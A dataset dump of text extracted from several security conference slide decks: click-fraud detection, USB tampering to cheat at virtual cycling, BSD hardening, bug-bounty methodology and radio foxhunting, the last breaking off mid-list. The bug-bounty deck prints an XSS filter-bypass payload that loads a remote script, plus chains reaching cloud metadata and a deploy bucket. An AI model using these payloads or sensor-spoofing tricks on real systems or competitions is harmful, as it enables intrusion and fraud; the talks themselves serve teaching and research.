text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
Click Fraud Detection using
Practical Memetics
Defcon 15, Aug 3-5, 2007
Broward Horne
http://www.realmeme.com
Overview
• Advertising Click Fraud
• Botnets (Agents Of Click Fraud)
• S-Curve
• Original Meme Theory (Dawkins)
• Empirical Meme Theory (Me! Ho!)
• Expanded Meme Mining Model
• MySpace Example
• IAFF.com Example
• Meme Seepage Theory
• Botnet Proof
• Gaming Conjectures
• Extrapolations
Click Fraud - Definition
From Wikipedia -
“When a person, script or computer program
imitates a legitimate user to generate a “charge
per click” of an advertised product”
Is Click Fraud relatively unknown? Poll
Google Adsense Model
• www.google.com/adsense
• Click fraud risk
Botnets
• From Wikipedia-
“a collection of compromised computers
(“zombies”) running… under a common
command-and-control infrastructure”
S-Curve (Physical Model)
S-Curve (Math Model)
S-Curve Rate-Of-Change
S-Curve Strategy
Dawkins Meme Theory
• Dawkins coined the term “meme” in 1976
• An idea like “I want a tattoo”
• Wikipedia definition -
“a unit of cultural information that propagates from
one mind to another as a theoretical unit of
cultural evolution”
Ideosphere
• The sum of all memes in circulation
• The “Global Human Consciousness”
• The Internet has a subset of the Ideosphere
Empirical Meme Theory (Me!)
• Original Meme Theory
• Keywords As Proxy For A Meme
• Electron Flow ( E = I x R ) (Networks)
• S-Curve
• Meme Miner ( Dejanews.com )
• Google Trends tool
• Blogpulse.com
Example: Delphi
Example: Easter Bunny
Example: Sex & Terrorism
Meme Assumptions
• Memes propagate as an S-Curve
• Memes propagate to most sites but at
different amplitudes and latencies
Meme Miner Inadequacies
• Single source
• Dejanews.com indexing revised by Google
• Older technology losing favor
Expanded Mining Model
First tested on “MySpace” meme…
MySpace Meme (Dejanews)
MySpace Meme (Alexa)
MySpace Meme (Google)
The New Model Worked…
For the “MySpace” meme, so I tested it against
another case, a new site with a high growth rate…
“IAmFacingForeclosure.com” (IAFF.com)
But the results were different…
IAFF Meme (Alexa)
IAFF Meme (Dejanews)
IAFF Meme (Google)
Meme Seepage Theory
Remember our Meme assumptions? Memes propagate as an
S-curve and across most sites but with varying amplitudes and
latencies.
If traffic increases to a primary site, then traffic to linked sites
should increase proportionally (more or less)
If traffic increases to a primary site, then traffic to reference
sites like Google should increase proportionally… and other
sites in the top 10 result list should experience a lesser but
measurable increase in traffic…
Primary Meme Seepage
So I Experimented..
I posted a link directly to IAFF.com, to tap off a
slice of IAFF.com’s traffic via meme seepage.
Theoretically, a doubling of IAFF traffic should
produce an equal ratio of redirected traffic to my
own site, RealMeme.com
But the results were wrong again…
And I Experimented Again…
Alexa showed IAFF.com with a 25% increase in
traffic but my site experienced no concurrent
increase.
I was surprised and I posted the results to
IAFF.com.
And a few days later, I did experience an
anomalous increase in traffic but it didn’t match
IAFF.com’s Alexa traffic delta. Here’s what hit
my site…
Botnet Proof
• Too many simultaneous operating systems per IP.
• The traffic is too dense and changeover too abrupt.
• Too many 2-page hits (my traffic is 90% 1-page)
• The page hits don't follow a human click flow.
• All hits are bookmarks, no blog entry points
• Most bookmarks are older
The following page hits are logs from my website.
It’s clear that they were artifically produced…
Botnet Logs (Same IP)
Botnet Logs (Density)
Botnet Logs (Pages)
Botnet Logs (Entry Points)
Botnet Epiphany
Okay, I’m not the smartest guy in the world
but I eventually figured out that this new traffic
was generated by bots.
But why?
So I tried another experiment…
Secondary Seepage Failure
I have a confession. My website was designed
specifically for Google rankings and it’s been
surprisingly successful (my Defcon 16 presentation!
Ho!) So I decided…
to induce a secondary seepage from IAFF.com to my
site via Google…
Binding
I bound my site to IAFF.com by posting an
IAFF.com analysis which was indexed by
Google. At one point, I was the #7 Google result
for
“IAmFacingForeclosure.com”
So now I’m getting a slice of traffic directly from
IAFF.com AND from Google’s search results for
IAFF.com
Binding Results
Once again, I saw major anomalies between
IAFF.com’s claimed traffic and the induced
seepage to my site during “a major television
event”.
Can I prove fraud? No.
But I don’t need to. I’m not Google or a Google
advertiser.
My Theory
The botnets are mimicking meme seepage by generating
traffic to linked secondary sites.
At first, I couldn’t figure out why. But as I worked out
a methodology to expose botnet manipulation, I realized
that LACK OF SEEPAGE is a major red flag. After all,
that’s how I found these anomalies to begin with.
Gaming Google
Gaming Alexa
Gaming My Miner Model
Meme Troubleshooting Table
Humans versus Bots
Needed: a pervasive, immutable quality which is
detectable in humans but which bots can never
duplicate.
What is it?
Humans actually buy advertised products.
Conclusion
• Click fraud is more pervasive than reported
• It can be detected with memetic analysis…
• Botnets are a serious problem
• It will eventually become almost impossible to
detect sophisticated bots.
• What will Google do? | pdf |
Cheating in eSports
How to cheat at virtual cycling using USB hacks
Brad Dixon, Carve Systems
Photo by Markus Spiske on Unsplash
Sweaty eSports
EGVsOG
CVRWorldCup
Virtual Cycling is Part of Cycling
Cycling: Over 100 Years of Cheating Innovation
1903, 1904: Hippolyte Aucouturier
1904: Maurice Garin
1947: Jean Robic
Will people cheat at virtual cycling, too?
"This is a sport with literally
hundreds of dollars on the
line, and dozens of fans...the
stakes are medium!"
Marty Hass -- Tour de Pharmacy, 2017, HBO
No… Marty Hass is not a real person. Don’t you recognize Jeff Goldblum?
It is a silly mockumentary. Have a laugh.
Bike Radar: Best Cycling Smart Trainers - 10-Way Mega-Test
Virtual Cycling: How does this work?
• Just like any MMPOG plus
• Sensors to measure real
world performance
• App-controlled resistance
Speed Estimation
• Course terrain model
• Power
• Rider mass
• Drafting model?
The Easy Way to Cheat at Virtual Cycling
• Lighter riders go faster
• Shorter riders draft better
…there are limits!
given the same power…
0
5
10
15
20
25
ZWIFT e-Racing Performance Limits (men, watts/kg)
20 min
5 min
1 min
5 sec
Vulnerable Sensor Network
HRM
Cadence
Power
ANT+
USB
Stick
ANT+ RF @ 2457 Mhz GFSK
Optional AES
Cheat the Hard Way with USBQ
HRM
Cadence
Power
ANT+
USB
Stick
USB
Host
Zwift
App
Zwift
API
ANT+ RF @ 2457 Mhz GFSK
Optional AES
USB
USBQ
Hack’in USB ain’t new
• Facedancer: excellent!
• Travis Goodspeed (@travisgoodspeed)
• Sergey Bratus (@sergeybratus)
• Kate Temkin (@ktemkin)
• Dominic Spill (@dominicgs)
• Michael Ossmann (@michaelossmann)
• Hardware Village USB Links: Andrey Konovalov
• USB Reverse Engineering: Down the Rabbit Hole: Grant “devalias”
Glenn
Just want to observe USB?
•
Requires Linux and the usbmon module.
•
Capture with tcpdump –i usbmon0 …
•
Wireshark is great!
usbip + Wireshark
tcpdump + Wireshark
•
Linux usbip module can export USB devices
over TCP.
•
Capture TCP, observe in Wireshark.
Stuff Brad Knows
•
Emulate USB host or device functions at the
lowest level.
•
Behave badly and deviate from the expectations
of USB drivers.
•
Use GoodFET-based board and Facedancer!
USB Device Drivers and Kernel Code
JAN 2019
EDITION
USBiquitous by Benoît Camredon
• USB 2.0 MITM using
loadable kernel module
• Beaglebone Black
• Python 2 userspace
• usbq_core
• usbq_userland
plugin
plugin
plugin
plugin
plugin
USBQ Architecture
ANT+
USB
Stick
USB
Host
USBQ
USB Proxy
Device
• Uses USBiquitous kernel
module (now GPLv2).
• New userspace Python
application for
inspecting and mangling
USB data.
UDP
Stuff Brad Knows
•
Emulate USB host or device functions at the
lowest level.
•
Behave badly and deviate from the expectations
of USB drivers.
•
Consider: GreatFET One and Facedancer!
Applications Using USB Peripherals
USB Device Drivers and Kernel Code
•
Inspect and mangle application-specific
payloads transported across a USB bus.
•
Use commodity hardware for USB hacking.
•
Consider: USBQ
USBQ
+ Hardware
AUG 2019
EDITION
USBQ
Do Device
USB Packet
Do Host
USB Packet
Tick
DO Host/Device Packet
1. Wait for a packet
2. Get the packet
3. Decode the packet
4. Log the packet
5. Modify the packet
6. Encode the packet
7. Send the packet out
USBQ Main Loop
USBQ Plugins – Built with Pluggy
• Defined extension points for plugins to use.
• Plugins can stack and modify the results of plugins lower-
down the stack. LIFO-call order.
• Plugins can be distributed as independent Python
packages.
included:
• Get and Send USB packets using the proxy kernel module
• Decode/Encode packets to a more useful representation
• Implement convenience features for development
plugin
plugin
plugin
plugin
plugin
USBQ
Get Hack’in
• Inspect PCAP
• Modify plugins on-the-fly
• IPython console
What is next for USBQ?
• Release: Visit usbq.org
• Need help with / working on:
• USBIP support: Native Linux kernel system for remote USB
• Device emulation with Function FS
• Replace USBiquitous kernel module? Need Linux kernel USBIP + Multipoint USB
Highspeed Dual-Role Controller (MUSB)
• GreatFET One: Looks awesome… need to fiddle with it!
• More plugins and tools
Photo by Simon Connellan on Unsplash
L
A
N
C
E
E
eSports
Leet
Automatic
Network
Cheating
Enhancement
EPO Mode
Sustain performance with less effort
and more guilt!
•Boost your power with a multiplier
•Make the world flat
Tour de Pharmacy
Slacker Mode
Why even risk sweating a little?
•Automatic pedal POWER
•Cruise control with random jitter
•Terrain-sensitive heart rate and
cadence data generation
ELANCE Plugins for USBQ
• Decode ANT+ USB Payload.
• Decode three different ANT+ Payload types: fitness,
HRM, and cadence.
USBQ Host, Device, or
Management
USB Host or Device
ANT+
ANT+ Profile Pages
USBQ
Cheat the Hard Way with USBQ
HRM
Cadence
Power
ANT+
USB
Stick
USB
Host
Zwift
App
Zwift
API
ANT+ RF @ 2457 Mhz GFSK
Optional AES
• Modify power
• Modify heart rate
• Modify cadence
• Set grade to “flat”
Photo by Simon Connellan on Unsplash
Could it work?
1.Workouts
2.Online racing
3.Live event racing
Workouts
• Yeah, go ahead and cheat yourself.
• You’ll need to use sensible limits.
Online Racing*
• Plausible to stretch a mediocre rider into a
competitor.
• Use multiple accounts to establish the
actual performance limits for verification.
• Build an IRL riding record and a public
Strava profile.
• Verification cheats:
• 2nd power monitor / IRL power monitor
• Either real height + weight or fake videos
• Bribe / dodge / fake 3rd party verification lab
* Never actually tried to cheat in an online race nor applied the techniques listed above.
Live Event Racing*
• This is harder but live events are rare.
• High-stakes events use equipment
provided by race.
• Probably can’t fake weigh-in.
• Infiltrate a NSA COTTONMOUTH-I style
hacked cable?
• Working on some other techniques, too.
CVRWorldCup
* Never tried this, either. There is no way anyone would believe I’m an elite cyclist. Not even for a second.
Wrap up
1. Overall system not designed
for high-integrity competition.
2. Insecure sensor networks and
untrusted hardware are not a
good foundation for security.
3. Electronics and software are
part of cycling. New domains
for cheaters to exploit.
Photo by Troy Oldham on Unsplash
Winners never cheat. Cheaters never win.
Hackers sometimes cheat for fun.
edope.bike | pdf |
BSD Security
Fundamentals
Sean Lewis
[email protected]
http://www.subterrain.net
Scope and Scale
• Focus: FreeBSD - enterprise hardware
support and most 'mainstream' of the open
source BSD trees.
• Security refresher and some new and
interesting BSD security information.
• Emphasis on host-based security, one of the
first layers of the security 'onion'
complimented with network-level security
[defense in-depth].
BSD – making inroads in the
Enterprise market
• BSD and systems w/ BSD frameworks being
deployed in the enterprise and with the end
user.
• Nokia firewalls - run FireWall-1 on IPSO
[based on FreeBSD 3.2]
• Juniper's Internet backbone router products,
designed for high-growth, high-capacity
networks, use code from FreeBSD.
• Other commercial BSD implementors include
Yahoo! and LinkExchange
The Basics
• If modifying an existing system, especially in
a production environment, make backups!
• Unnecessary services - go through
/etc/inetd.conf and rc.conf; disable what you
don't need [inetd.conf now shipped with
everything off by default] [rc.conf - disable
sendmail, SMTP and submission ports
25/587]
• Work with the latest version of the OS -
tracking STABLE is the best idea
Encrypted Communications
• Disable telnet (default in recent FreeBSD
releases) and enable SSH. OpenSSH is
included in the FreeBSD base system.
• Upgrade all your systems to OpenSSH 3.4p1
and use SSH version 2 with privilege
separation.
• Enable the sftp subsystem built into the
SSHv2 protocol rather than a standard ftpd
implementation if possible.
• Set up public key authentication with SSH
[DSA keys!] to prevent password
transmission, encrypted or otherwise!
File System Lockdown
• Partition out as much as possible; /, /usr, /var,
/tmp at a minimum. /home and /usr/local
should be considered as well.
• Mount non /usr or / [for /sbin] filesystems with
the 'nosuid' argument, especially /tmp.
• Search for and remove suid bits off of non-
used binaries [especially uucp - setgid]
• Use the chflags to set variables such as
sappnd on log files, schg on system binaries,
etc.
• [Explain different securelevel aware file
variables here - sappnd, schg]
Kernel Securelevels
• Kernel securelevels allow variable
security level increases on the fly.
• Levels range from -1 -> 3, -1 and 0 are
referred to as 'insecure mode'.
• Securelevels can only be raised, not
lowered, once the system is in multi-
user mode.
Kernel Securelevels [cont.]
• Securelevel 1 - sappnd and schg flags can
not be disabled - LKMs may not be loaded or
unloaded.
• Securelevel 2 - Securelevel 1 + no writing to
disks except for mount(2). Time changes
clamped to +/- 1 second.
• Securelevel 3 - Securelevel 2 + IPFW rules
cannot be modified.
• Schg flag on files in /, /bin, /usr/bin, /sbin,
/usr/sbin/ for maximum effectiveness.
Sysctl and rc.conf variables
•
[sysctl] net.inet.tcp.blackhole=2 and net.inet.udp.blackhole=1 -
don't generate RSTs on connection attempts to ports with no
socket listening [TCP] and doesn't generate an ICMP port
unreachable message on a port with no socket listening [UDP].
This breaks traceroute.
•
[rc.conf] kern_securelevel_enable="YES", kern_securelevel="X"
- enable kernel securelevel
•
[rc.conf] icmp_drop_redirect="YES" - drop ICMP redirect
packets. you don't want these.
•
[rc.conf] tcp_drop_synfin="YES" - drop packets with SYN+FIN
bits set. breaks RFC, do it anyway! SYN+FIN scans are
frequent.
•
[rc.conf] clear_tmp_enable="YES" - wipe /tmp on boot.
Secure your services
• Start potentially dangerous programs such as
bind in a chroot'd environment. Many popular
services now support chroot() jail
functionality. [named, sshd, httpd]
• log_in_vain="YES" in rc.conf - show
connections to non-listening tcp/udp ports -
goes well with robust packet filtering ruleset.
• Use packet filtering software such as IPFW or
ipfilter to restrict access to services, even if
the machine sits behind a corporate firewall
[defense in depth!]
Serving files with ftpd
• FreeBSD powers large FTP software sites
like ftp.cdrom.com - securely!
• Put individual users in the /etc/ftpchroot file to
restrict them to their $HOME.
• Start ftpd with -l -l to enable extended
logging.
• If running an anonymous archive, use ftpd -A
[only allow anonymous connections] and -r
[read-only mode for the server]
Logging
• Start syslogd with the '-ss' flags to prevent the
daemon from opening 514/udp.
• Centralize syslog to a central server in
addition to local logging: *.*
@remotehost.org
• Add /var/log/ftpd for for ftp.*
• Add /var/log/security for security.* [IPFW logs
on security facility; allows for parsing of ipfw
logs via 'ipfw add deny log..' command.
Nifty kernel tricks
• www.trojanproof.org trojan detection kernel
patch [OpenBSD/FreeBSD] - alerts based on
md5 variations on files executed on your
system; works well with Tripwire/AIDE.
• cerber.sf.net - real time interception and
logging of potentially dangerous system calls;
execve(), ptrace(), setuid(), etc. all
configurable via sysctl commands. excellent
logging. [think entercept functionality for BSD]
• Disable BPF in your kernel - uncomment
'pseudo-device bpf [n]' in your kernel. This
prevents an attacker from sniffing traffic
coming off your connection.
Keeping people out
• Use TCP wrappers [/etc/hosts.allow] to allow /
deny access to certain TCP services. FTP /
SSH / other potentially non 'public' services
[not as useful = HTTP and SMTP].
• Use AllowUsers / AllowGroups SSH
configuration options to restrict SSH usage to
certain users and groups. This works well
along with TCP wrapper usage and privilege
separation.
• Give users who only require ftp access the
/sbin/nologin shell to prevent access to a 'real'
shell.
Checking your system
• /usr/ports/security/nmap - port scan yourself
to check for strange services.
• /usr/ports/security/whisker - audit your web
server for potential vulnerabilities
• /usr/ports/security/tripwire-1.31 - academic
source release of tripwire, file integrity
assurance.
• /usr/ports/security/snort - lightweight NIDS
implementation, http://www.snort.org.
Other tips and tricks
• Use ntpdate to synch your clock with a time
server [e.g. ntp.nasa.gov]. Crontab it routinely
to keep it reliable.
• In /etc/ttys change the 'secure' flag to
'insecure' on each local TTY to prevent direct
root login; login should always be done
through a user account and then 'su' to root.
• Enable sudo for restricting the root password
on your system; grant certain users root
privileges for certain commands.
• Enable 'pseudo-device snp 4' and use the
'watch' command to non-interactively attach
yourself to a user's tty. Nifty :)
Links to related material
• This presentation:
http://www.subterrain.net/presentations/
• FreeBSD security advisories and info:
http://www.freebsd.org/security/
• Free FreeBSD stuff courtesy of:
FREEBSDMALL.COM. Thanks Murray! | pdf |
Live Hacking like a MVH –
A walkthrough on methodology
and strategies to win big
Frans Rosén – @fransrosen
Frans Rosén – @fransrosen
Frans Rosén @fransrosen
Security Advisor at Detectify
#6 on HackerOne leaderboard/all-time
Blogs at labs.detectify.com
Frans Rosén – @fransrosen
Frans Rosén @fransrosen
H1-702 2017: Winner of MVH in Vegas! (Uber, Salesforce, Zenefits)
H1-514 2018: Winner of MVH in Montreal! (Shopify)
H1-415 2018: Winner Best team @teamsweden in San Francisco (Oath)
H1-212 2018: Winner Earning the most $$$ @unitedstatesofsweden in New York (Oath)
H1-212 2018: Winner Highest reputation @unitedstatesofsweden in New York (Oath)
H1-702 2018: Winner Best bug @teamsweden in Vegas (Uber)
H1-212 2018: Winner Best bug @unitedstatesofsweden in New York (Oath)
H1-202 2018: Winner Best bug in Washington (Mapbox)
H1-3120 2018: Winner Best bug in Amsterdam (Dropbox)
H1-514 2018: Winner Highest reputation in Montreal (Shopify)
Frans Rosén – @fransrosen
Frans Rosén @fransrosen
H1-702 2017: Winner of MVH in Vegas! (Uber, Salesforce, Zenefits)
H1-514 2018: Winner of MVH in Montreal! (Shopify)
H1-415 2018: Winner Best team @teamsweden in San Francisco (Oath)
H1-212 2018: Winner Earning the most $$$ @unitedstatesofsweden in New York (Oath)
H1-212 2018: Winner Highest reputation @unitedstatesofsweden in New York (Oath)
H1-702 2018: Winner Best bug @teamsweden in Vegas (Uber)
H1-212 2018: Winner Best bug @unitedstatesofsweden in New York (Oath)
H1-202 2018: Winner Best bug in Washington (Mapbox)
H1-3120 2018: Winner Best bug in Amsterdam (Dropbox)
H1-514 2018: Winner Highest reputation in Montreal (Shopify)
Frans Rosén – @fransrosen
What is Live Hacking?
Frans Rosén – @fransrosen
30 second elevator pitch
• A "hacker-meets-dev face-to-face" bug bounty with special targets
• First by HackerOne in 2016 in Vegas
• More companies runs these nowadays.
H1, Bugcrowd, Facebook/Google, Visma. Smaller companies run their own also
Frans Rosén – @fransrosen
(Inofficial first event in 2015)
Me and Justin Calmus, then CSO at Zenefits drinking Old fashioneds in Vegas
"We should bring some hackers together and hack"
Frans Rosén – @fransrosen
(Inofficial first event in 2015)
Me and Justin Calmus, then CSO at Zenefits drinking Old fashioneds in Vegas
"We should bring some hackers together and hack"
Frans Rosén – @fransrosen
(Inofficial first event in 2015)
Night after, 7 hackers in a suite at MGM
Frans Rosén – @fransrosen
$101.000 paid that night!
I went home with $51.000 after 7 hours of hacking
Frans Rosén – @fransrosen
A quick step by step
Frans Rosén – @fransrosen
1. Hackers gets an intro and a walkthrough
• Hangout, slides, presented by the company itself
• Ability to ask questions
Frans Rosén – @fransrosen
1. Hackers gets an intro and a walkthrough
• Hangout, slides, presented by the company itself
• Ability to ask questions
2. Often a bigger scope
• Often *.company.com, *.company.dev, infrastructure, IPs
• Open source repos by the company
• Enterprise access to products
• One time social engineering(!)
Frans Rosén – @fransrosen
3. Hackers gets some time do do recon
• This is a VERY important part
• One time 48 hours. Hard!
• Slack instance with the company!
Frans Rosén – @fransrosen
3. Hackers gets some time do do recon
• This is a VERY important part
• One time 48 hours. Hard!
• Slack instance with the company!
4. Some allow pre-submissions
• Awesome! Less preasure on final day
• Faster payouts on event day
Frans Rosén – @fransrosen
5. Arriving to event, meeting the company
• At HQ or hacking event (Defcon, Black Hat, Nullcon etc)
• Discussions here == PRICELESS!!
• Valid bugs because I could discuss with the company
- This domain, what does it do?
- Is this app supposed to work like this?
- I noticed this weird behaviour, I think I can do this, what do you think?
Frans Rosén – @fransrosen
6. Day of event. Wake up early, shower and HACK
• If no pre-submissions, get reports in!
• Hacking day is special, sit in teams, collaboration(!)
• Found many bugs on the actual day!
Frans Rosén – @fransrosen
Some events
without pre-submissions
awards "first X valid bugs"
Frans Rosén – @fransrosen
Enter bountyplz!
Frans Rosén – @fransrosen
github.com/fransr/bountyplz
Frans Rosén – @fransrosen
github.com/fransr/bountyplz
Frans Rosén – @fransrosen
github.com/fransr/bountyplz
Frans Rosén – @fransrosen
github.com/fransr/bountyplz
Frans Rosén – @fransrosen
github.com/fransr/bountyplz
Upcoming version, batch-mode
• 24 reports sent in 4 seconds
Frans Rosén – @fransrosen
7. Show & Tell
• Best part of event
• Customer picks bugs to be presented
• Amazing! Other hacker’s bugs in a cool micro-talk style (5min max)
Frans Rosén – @fransrosen
Strategy/Methodology
Frans Rosén – @fransrosen
Strategy/Methodology
The most interesting part. How to approach targets?
This is my experience, other might do differently!
Frans Rosén – @fransrosen
Good overview of scope
Make sure you have/know:
• credentials needed
• what domains are included, subdomains/acquisitions
• what NOT to focus on (out-of-scope)
• upgrades to enterprise accounts if promised
Frans Rosén – @fransrosen
Teaming
Frans Rosén – @fransrosen
Teaming!
Seriously, this is EXTREMELY VALUABLE
I’ve made more money hacking as a team
Frans Rosén – @fransrosen
Teaming!
Team up with someone that:
• put in "similar" effort to you
• might know stuff you don't
• helps you cover more target surface
• you can communicate with and brainstorm
Frans Rosén – @fransrosen
Teaming!
Team up with someone that:
• put in "similar" effort to you
• might know stuff you don't
• helps you cover more target surface
• you can communicate with and brainstorm
Keep team small, 2-4.
If 3 or more, effort will differ, allow to split differently
For 2 people, 50% each is always the simplest.
Frans Rosén – @fransrosen
What do focus on?
Frans Rosén – @fransrosen
High threshold or labour intensive testing
• Best bugs!
Frans Rosén – @fransrosen
High threshold or labour intensive testing
• Best bugs!
Example: trying all integrations from a list of 80.
Read docs on how each worked
Found a $20k bug due to one (1!!!) faulty implementation!
Frans Rosén – @fransrosen
How SDK talks with API
• Desktop client
• Web (API-paths in JS-files)
• PHP/Java/Golang-SDKs
• npm/composer/yarn
Frans Rosén – @fransrosen
How SDK talks with API
• Desktop client
• Web (API-paths in JS-files)
• PHP/Java/Golang-SDKs
• npm/composer/yarn
Legacy versions of APIs?
• Older versions working?
• Are there docs? Web-archive?
Frans Rosén – @fransrosen
Integrations with 3rd parties (!)
• Have integrations? (Slack, Trello, Zapier etc)
• Allow integrations? (OAuth etc)
• Public repos with examples?
Frans Rosén – @fransrosen
Integrations with 3rd parties (!)
• Have integrations? (Slack, Trello, Zapier etc)
• Allow integrations? (OAuth etc)
• Public repos with examples?
Company's Github repos
• What software they use (Forks)
• Synched with original repo? (No: vulns by diffing versions?)
Frans Rosén – @fransrosen
Github
• Internal domains? Search in Gists, Github, Google
• "Internal indicators", search everywhere
• Domains/AWS/GCP-tools in org: "org:xxx amazonaws" etc
Frans Rosén – @fransrosen
Github
• Internal domains? Search in Gists, Github, Google
• "Internal indicators", search everywhere
• Domains/AWS/GCP-tools in org: "org:xxx amazonaws" etc
• Any users in organization?
• Extract contributors from repos
• Company name in users’ repos: "user:xxx company-name"
• Search Github Issues, funky stuff by accident!
• Non-forked repos in organization
‣ Package dependencies from employees?
‣ Still hired by the company?
If not, bad
Frans Rosén – @fransrosen
Whitebox testing on company's FOSS
• Bugs might mean bugs in prod!
• Might mean company made other companies vulnerable
(really bad PR for the company)
Frans Rosén – @fransrosen
Whitebox testing on company's FOSS
• Bugs might mean bugs in prod!
• Might mean company made other companies vulnerable
(really bad PR for the company)
LEGACY
• Content from web-archive, read old documentation(!!!)
• URLs from web-archive's CDX-api, commoncrawl etc.
• Test all URLs. Distinguish status-codes / bytes received (Wfuzz)
• Anything interesting? Filter file-types, deduplicate
Frans Rosén – @fransrosen
Regular recon
There is soooo much here we can't cover it all. These are general things
• DNS, Subbrute, sublist3r etc. So many tools!
‣ Customized subbrute with 3rd party data
‣ Generate DNS-wordlist based on findings
• Existing routes from JS-files, Burp History
• postMessage-tracker (logs all listener functions)
• Wfuzz target (VPN with switchable IP if blocked)
Frans Rosén – @fransrosen
Regular recon
There is soooo much here we can't cover it all. These are general things
• DNS, Subbrute, sublist3r etc. So many tools!
‣ Customized subbrute with 3rd party data
‣ Generate DNS-wordlist based on findings
• Existing routes from JS-files, Burp History
• postMessage-tracker (logs all listener functions)
• Wfuzz target (VPN with switchable IP if blocked)
Best protip:
Focus on BORING/HARD STUFF, other hackers won’t
Frans Rosén – @fransrosen
Notes
While you hack. KISS!
• Dir for target, TXT-file always open
• Comments (snippets / indicators / urls)
• Super helpful. Chaining bugs!
- If an Open-Redirect, we can make a chain
• Test-code, SDKs, screenshots in dir
• Valid vulns in one place, separate from "interesting behaviour"
Frans Rosén – @fransrosen
Notes
• On event, team up sharing "interesting behaviour" things
• Burp history is golden, save it! Search alot!
Found bugs by searching:
Frans Rosén – @fransrosen
SSRF-testing server
• ONLY reachable by internal network (Both ipv4/ipv6)
• Virtual host / kubernetes node is bad, due to requirement of Host-header.
Not all SSRF send proper Host-header
(HTTP/1.0, binding external DNS-host to internal IP etc)
• Different files, depends on SSRF:
MP3, ICS, XML, TXT, HTML, PNG, JPG, SVG etc.
• If internal hosts can be reached without scanning internal network.
One company had flags in files, simple to prove you could access.
Frans Rosén – @fransrosen
SSRF-testing server
Should be an open source project
Anyone up for it?
Frans Rosén – @fransrosen
Frans Rosén – @fransrosen
Show & Tell!
Frans Rosén – @fransrosen
Unscoped JWT-token exposed in
Squid proxy-error
Frans Rosén – @fransrosen
On-Premise/SaaS app
Frans Rosén – @fransrosen
Did not like internal requests
Frans Rosén – @fransrosen
But we see our own request headers
Frans Rosén – @fransrosen
And what about IPv6?
Frans Rosén – @fransrosen
Wow, a LOT more headers
Frans Rosén – @fransrosen
And here’s a JWT?
JWT
Frans Rosén – @fransrosen
Nothing in the JWT said anything about my instance
Frans Rosén – @fransrosen
Sent a report
Frans Rosén – @fransrosen
Sent a Slack-DM to the company and asked
Frans Rosén – @fransrosen
Frans Rosén – @fransrosen
Frans Rosén – @fransrosen
?
Frans Rosén – @fransrosen
JWT-token could access everyone
Frans Rosén – @fransrosen
Fix! Unique ID instead of admin
Frans Rosén – @fransrosen
Frans Rosén – @fransrosen
Second order RCE 4 hours later
Frans Rosén – @fransrosen
Burp Collaborator payload gave a hit!
Frans Rosén – @fransrosen
Burp Collaborator payload gave a hit!
WTH??
Frans Rosén – @fransrosen
Let’s trigger "a few"
Frans Rosén – @fransrosen
Burp Intruder
Frans Rosén – @fransrosen
Header
Frans Rosén – @fransrosen
Header
Frans Rosén – @fransrosen
Header
Frans Rosén – @fransrosen
Header
Frans Rosén – @fransrosen
Header
Frans Rosén – @fransrosen
XSS on sandboxed domain
stealing data from privileged domain
Frans Rosén – @fransrosen
Document-service
ACME.COM
Create&new&doc
Frans Rosén – @fransrosen
Document-service
ACME.COM
Create&new&doc
usersandbox.com
postMessage
Frans Rosén – @fransrosen
Document-service
ACME.COM
Create&new&doc
usersandbox.com
postMessage
{"document":"AAA…"}
Frans Rosén – @fransrosen
XSS in the sandbox
usersandbox.com
Frans Rosén – @fransrosen
Chrome XSS auditor bypass
</script>
<script>
x=document.createElement('script');
x.src=atob('MY-URL-BASE64-ENCODED');
document.body.appendChild(x)-'%0d',({//#
Frans Rosén – @fransrosen
User opens link from sandbox
usersandbox.com
ACME.COM
Create&new&doc
Frans Rosén – @fransrosen
User uploads doc, iframe opens
usersandbox.com
ACME.COM
Create&new&doc
usersandbox.com
Frans Rosén – @fransrosen
Hijack iframe, due to Same-Origin Policy
usersandbox.com
ACME.COM
Create&new&doc
usersandbox.com
Frans Rosén – @fransrosen
Uploads doc, postMessage
usersandbox.com
ACME.COM
usersandbox.com
Frans Rosén – @fransrosen
Iframe leaks data to attacker
usersandbox.com
ACME.COM
usersandbox.com
Frans Rosén – @fransrosen
We stole the document!
usersandbox.com
ACME.COM
usersandbox.com
Frans Rosén – @fransrosen
We stole the document!
usersandbox.com
ACME.COM
usersandbox.com
Frans Rosén – @fransrosen
DNS-hijack leading to RCE
Frans Rosén – @fransrosen
DNS-hijack on internal.company.com!
Frans Rosén – @fransrosen
Not a new thing, watch my talk from Secfest 2017
Frans Rosén – @fransrosen
DNS-hijack on
internal.company.com!
Awesome, what now?
Frans Rosén – @fransrosen
Testing tool, only allowed their own subdomains
Frans Rosén – @fransrosen
Testing tool, only allowed their own subdomains
Frans Rosén – @fransrosen
Let’s create a subdomain to metadata
Frans Rosén – @fransrosen
Let’s create a subdomain to metadata
Frans Rosén – @fransrosen
IPv6 FTW!
Frans Rosén – @fransrosen
BOOM!
Frans Rosén – @fransrosen
Asking to go deeper
Frans Rosén – @fransrosen
Asking to go deeper
Frans Rosén – @fransrosen
Asking to go deeper
Nothing. Creds are limited :(
Frans Rosén – @fransrosen
User-data
Frans Rosén – @fransrosen
User-data
S3-bucket
Frans Rosén – @fransrosen
And yeeees! Full read/write access to S3-bucket
Frans Rosén – @fransrosen
Files in bucket used in deploy-script
Frans Rosén – @fransrosen
Best bug of the event
Frans Rosén – @fransrosen
Final words
1. Use the time before
2. Consuming tasks no one bothers
3. Move around, but if interesting, be persistent!
4. Work as a team, it’s amazing.
Thank you! | pdf |
Practical Foxhunting
101
Adam Wirth - SimonJ
@SimonJ_DC
Overview
‣ About me
‣ About Foxhunting
‣ Equipment Overview & Selection
‣ Preparation
‣ Techniques
2
Who Am I?
‣ More than 15 years professional experience
as a software & systems engineer
‣ Most of my career has been spent working
on wireless communications & emitter
geolocation systems
‣ Last year’s winner of the Hide & Seek and
Foxhunt events in the Wireless Pentathlon
3
What is Foxhunting?
‣ Finding the physical location of wireless emitters and/or their users, by
measuring received power from different locations
‣ Foxhunting is between the "last mile" and the “last feet”; for greater or lesser
distances, other techniques are more appropriate
‣ Wet-work ninjas finding the correct bedroom in the house of the South
American populist government official
‣ Tracking the Corporate Exec whose iPhone you've trojaned into an
access point, as part of a Red Team penetration test
‣ DEFCON 22 Wireless CTF
‣ Techniques are applicable to all RF emitters, like mobiles phones, WiFi APs,
heart monitors, etc.
4
What Equipment’s Involved?
‣ Antennas
‣ Omnidirectional and directional, for different purposes
‣ Radios
‣ Capable of receiving the signal-of-interest
‣ Software-defined radios are finally becoming affordable
‣ Visualization Software
